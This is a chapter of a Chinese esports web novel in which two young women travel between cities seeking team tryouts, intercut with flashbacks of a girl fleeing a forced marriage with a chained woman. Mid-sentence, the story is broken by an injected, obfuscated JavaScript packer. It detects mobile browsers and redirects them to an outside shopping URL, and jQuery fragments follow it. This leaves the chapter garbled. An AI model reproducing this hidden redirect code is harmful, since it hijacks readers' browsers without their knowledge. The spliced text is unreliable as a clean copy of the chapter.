33.旅途

作品:《全自动竞圈闯祸机[电竞]

    沈长风带着三千五百块钱,和方既亭一起坐上了离开的火车。


    没有带花里胡哨地化妆品,也没有带那个本就是用来装深沉的十字架,刚染了没多久的粉发又被规规矩矩地扎到了脑后。


    她坐在绿皮火车硬座靠窗的位置,行李箱恰好能够塞到小桌子的下面。


    封闭的车厢里有各种味道混杂弥漫,裹着空调的冷气横冲直撞,时不时擦过裸露在外的皮肤,微妙的不适感沁入骨髓,化作关节处不可捉摸,又难以消减的酸痛。


    窗外的景象不断变换更替。


    一望无际的平原上铺陈开泾渭分明地田野,坏掉地拖拉机倒在电线杆下,吊儿郎当地鸟儿停在稻草人的肩膀上,老农扛着锄头,佝偻着背,慢慢悠悠顺着横平竖直的阡陌小道回家。


    沈长风知道,那样锈迹斑斑地锄头看着破烂,实际上锄起地来最是好用。


    远处蔚蓝的天际,隐约从地平线上漫起带着些褐色的绿意,时而轻薄时而厚重地云层只见,连绵地山逐渐有了实体。高高低低,起起伏伏,像是轻盈地舞女迈着柔和却又扎实地步子缓慢而稳重地靠近。


    而后列车穿过隧道,群山近在眼前。


    “喂,沈长风,你发什么呆呢?”方既亭端了一桶泡好地泡面,坐回到她对面地座位,“思考人生?”


    “没有。”沈长风垂头看了一眼那泡面,有些嫌弃地挪开了目光。


    方既亭见她不知为何又莫名其妙板着张脸,有些无趣地“哦”了一声,低头吃面,吃了一半,又问她:“你不吃吗?”


    “没什么胃口。”沈长风依旧看着窗外。


    “哦。”方既亭见她看得出神,不由有些好奇那窗外有什么,于是她转过头,顺着沈长风的目光看过去。


    嗯……


    有山,有树,有蓝天白云,有电线杆子……


    嗯?


    “沈长风。”


    “干嘛?”


    方既亭眉眼弯弯,盯着沈长风:“你知道麻雀站在高压线上为什么不会触电死掉吗?”


    “?”沈长风神情复杂地看了她一眼,满脸狐疑,“不知道。”


    “因为麻雀的体积小,穿过他身体地电流也小,所以不会被电死。”方既亭一本正经道,见沈长风眉头皱的更深了,又歪了歪脑袋,“初中物理课本上的呀,一看你就不是好学生。”


    方既亭自然是在和沈长风开玩笑,但后者却并没有笑。


    “我上的初中不教这个。”她说着,屈肘托着下巴,再次望向窗外。


    电线杆上的麻雀飞了,凌乱地山坡上满是荒芜,方既亭觉得无趣,便又继续埋头吃面,等到她终于喝完最后一口汤,准备去将桶扔掉的时候,却只听对面的人突然开口叫了她的名字。


    “方既亭。”


    “干嘛?”


    沈长风依旧看着窗外:“你说我们翻过这些山,要多长时间?”


    “?”方既亭没想到她忽然问这么一个看起来无厘头的问题,有些不明就里,“大概一个多小时吧。”


    车票上的时间除以二,这是大概换算后的结果。


    “那如果是徒步翻山呢?”沈长风又问。


    “啥?”方既亭眨了眨眼,“谁会做这种事儿啊,这山连着山,要翻到什么时候?没有火车的时候,大家都是绕路的吧。”


    “……”


    -


    是啊,这山,要翻到什么时候呢?


    -


    W市有两支战队,一南一北。


    NFF干脆地拒绝了她们二人的试训申请,这支战队看起来也有些穷,在郊区租了个小别墅当基地,阿姨晚饭还没有烧好,两人只能灰溜溜地到酒店楼下一人点了一份炒河粉。


    BC卧龙的试训教练给了她们一次机会,最终却也没有选择将她们留下,但蹭到了一顿午饭,也算吃饱喝足。


    -


    “我希望,我的乐乐,能像风一样,翻山越岭,远涉山川。”


    那个被锁在小房子里的疯女人整日蓬头垢面,疯疯癫癫,偶尔那半人高的小门打开的时候,她会蜷缩在门边,冲自己招手。


    大人们对她避之不及,沈招娣却并不怕她。


    可每次靠近,女人都会嘟嘟囔囔地说一些自己听不懂的话。


    -


    Q市。


    二人又再次被拒绝,却在Angle战队的大门口和余弈撞了个正着。


    “你怎么在这里?”方既亭瞪大了眼睛,“你不是应该在MOOD试训吗?”


    “MOOD训完了,正好Angle也给我发了邀请,我就也来这里试试,”余弈高出方既亭一个头还多,居高临下的眼神里满是炫耀,“没办法,太抢手了,总要都试试,挑一挑。”


    “哦,那你跟我们一样。”方既亭点了点头,“我们现在也是在一个一个地试试呢,要不要一起?”


    “?”余弈被她那自然而然的态度惊到。


    “谁跟你们一样了?方既亭,你还真敢说啊?”


    -


    沈招娣要嫁人了。


    那个晚上,她迷迷糊糊地被人摇醒,发现女人破天荒地站在自己的床边。


    依旧是一贯蓬头垢面的模样,铁链仍然缠在她的脖子上,断掉的那一截窝在凹陷的锁骨处,垂在身前,被褴褛的衣物和干枯的头发遮挡。


    “乐乐,我带你离开这里,我们不要嫁人,我们现在就走。”


    为什么会跟她走呢?


    大人们都说自己应该这个时候嫁人,从前一起上学的女同学们也都已经结婚了,为什么轮到自己的时候,女人却说,不要嫁人?


    沈招娣想不明白。


    她只记得那天晚上的月亮很大,两边的平房黑漆漆地,女人拉着她的手在街道上狂奔,脚下坑坑洼洼地石板路被月光照的雪白。


    -


    好消息是,张菲菲与张雯雯两姐妹都在UGG战队试训,说是试训,实际上几乎已经确定了名额,只差一纸合同。


    坏消息是,UGG今年已经没有再多余的名额。


    那也是没办法的事。


    宿舍四人一齐吃了顿晚饭,张家姐妹还要回基地复盘,留下方既亭与沈长风两个人失落地站在路边等公交车。


    狂风渐起,暴雨将至。


    方既亭等着等着,忽然开口问沈长风:“沈长风,你知道龙卷风吗?”


    “知道。”沈长风狐疑地看了她一眼,不知道她葫芦里又在卖什


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17264596|195300||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    么药。


    方既亭来了兴致:“那你知道龙卷风在小的时候是可以被扑灭的吗?”


    沈长风愣了愣:“不知道,怎么扑灭?”


    “就是在它还很小很小的时候去将它盖住,或者逆着它旋转的方向抽打它周围的空气,它就会灭了。”方既亭道,“不过大多数厉害的龙卷风小的时候都在海上,等他到陆地上的时候就已经长得很厉害了。”


    公交的车轮念过贴地乱飞的落叶,沈长风敛眉,若有所思。


    -


    “我不要走了!我要回家!我要回家!”


    山路陡峭,下雨更是难行。


    沈招娣一脚踩滑,滚下山坡,摔断了腿。


    她坐在地上嚎啕大哭,怎么都再站不起来了。


    那个时候她想,自己可能真的要死在这山里。


    而女人没有说什么,只是默默地将自己抱起来,背在背上,继续往前走。


    -


    “哎呀!这才八点半怎么就全没了啊!”


    连续被四支战队拒绝后,方既亭又一次在晚上八点半的生鲜超市遭遇了人生的滑铁卢。


    “又没得吃了……可是我很想吃水果……”


    沈长风看着她垂头丧气的模样,还是忍不住说了一句:“要不就买没打折的吧,没打折的更新鲜一点。”


    “我觉得你说的对!”方既亭一下子破涕为笑,变脸的速度快到让沈长风忍不住怀疑她此前只是在故意装模作样,等的就是自己这一句话。


    她笑嘻嘻的拿起一盒菠萝,有些得意的走在前面,忽然转过头来问她:“沈长风,你知道菠萝为什么吃起来会觉得嘴巴痛吗?”


    “不知道。”


    十几天的相处,沈长风已经习惯了她动不动抛出一个无厘头的问题。


    “是因为菠萝里面有一种可以分解蛋白质的酶,会把你嘴巴里的蛋白质分解掉,所以才会觉得嘴巴痛。”方既亭一本正经的解释道,“只要煮熟了就不会痛了。”


    沈长风抬起眼皮,看了她一眼:“哦。”


    方既亭见她毫无反应,撇了撇嘴,也学着她的样子,阴阳怪气地接了一声:


    “哦。”


    -


    那之后的事情,沈招娣就记不清了。


    意识朦胧间,她始终紧紧抓着女人脖颈上悬垂下的铁链,直到有人掰开她的手指,强行将她与那死物分离。


    -


    “方既亭。”


    这是最后一支战队了。


    两人并肩站在青狼俱乐部的楼下,这一次,最先开口的人是沈长风。


    “咋啦?”


    “如果一个人非要去翻山,那是为什么呢?”


    “嗯?”方既亭眨了眨眼,“啥意思?”


    “如果一个人,明知道根本不可能,可哪怕付出生命的代价,也一定要去翻过那些山……”


    沈长风仰起头看着眼前的高楼,初秋的凉风吹得她的声音也变得越□□缈。


    “那是为什么呢?”


    方既亭不明白沈长风为何突然有此一问,她歪着头想了想,而后,看着沈长风的眼睛,她一字一句认真道:


    “那我想,她一定是有必须要翻过那座山的理由。”